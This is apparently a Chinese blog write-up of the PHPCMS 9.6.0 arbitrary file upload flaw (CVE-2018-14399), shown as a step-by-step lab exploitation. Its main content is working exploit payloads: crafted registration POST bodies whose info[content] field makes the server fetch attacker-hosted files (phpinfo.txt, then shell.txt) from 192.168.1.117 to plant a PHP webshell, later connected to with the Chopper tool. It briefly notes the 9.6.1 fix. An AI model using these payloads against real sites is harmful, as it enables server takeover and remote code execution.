• phpcms9.6.0任意文件上传漏洞(CVE-2018-14399)


    0x00:前言

    PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件的类型做正确的校验。远程攻击者可以利用该漏洞上传并执行任意的PHP代码。

    可以直接前台getshell。

    phpcms 9.6.0

    0x01:漏洞测试

    1.1 浏览器访问前台注册会员

    1.2 点击注册按钮,用burp抓包

     

     发送到Repeater模块

    1.3 在另外一台机器上打开web功能(实验机器winxp 打开wampserver ,地址为192.168.1.117)

    并在www根目录下创建文件phpinfo.txt,内容为<?php phpinfo();?>

     1.4 构造POC

    原本post请求数据:

    siteid=1&modelid=10&username=admin&password=admin123&pwdconfirm=admin123&email=admin%40qq.com&nickname=admin&info%5Bbirthday%5D=2020-03-24&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=

    构造POC:

    siteid=1&modelid=11&username=adminv2&password=adminv2123&email=adminv2%40qq.com&info[content]=<img src=http://192.168.1.117/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=

    1.5 将数据修改为POC

     1.6 返回reponse中有一个路径

    1.7  访问该路径

     1.8 上传一句话木马,每次发送的时候,都要修改username,password和email字段值,因为不能重复

     

    构造POC

    siteid=1&modelid=11&username=adminv6&password=adminv6123&email=adminv6%40qq.com&info[content]=<img src=http://192.168.1.117/shell.txt?.php#.jpg>&dosubmit=1&protocol= 

     1.9 用菜刀连接

    我的菜刀怎么连不上,难道是我的php版本的问题嘛????

      

     但是明明已经上传成功了,也不是菜刀不锋利了,试了一下再虚拟机中的shell都可以连接,但是本机的就是不可以,可能跟版本有关系

    在phpcms9.6.1中修复了该漏洞,修复方案就是对用fileext获取到的文件后缀再用黑白名单分别过滤一次。

  • 相关阅读:
    Java实现 LeetCode 440 字典序的第K小数字
    Java实现 LeetCode 438 找到字符串中所有字母异位词
    route命令详解与使用实例
    Google protobuf的安装及使用
    linux内核驱动中_IO, _IOR, _IOW, _IOWR 宏的用法与解析
    _GUN_SOURCE宏
    CodeViz产生函数调用图
    linux下阅读源代码的工具
    linux gcc 编译时头文件和库文件搜索路径
    Makefile第四讲:include 引用其它makefile文件
  • 原文地址:https://www.cnblogs.com/liqik/p/12563019.html
Copyright © 2020-2023  润新知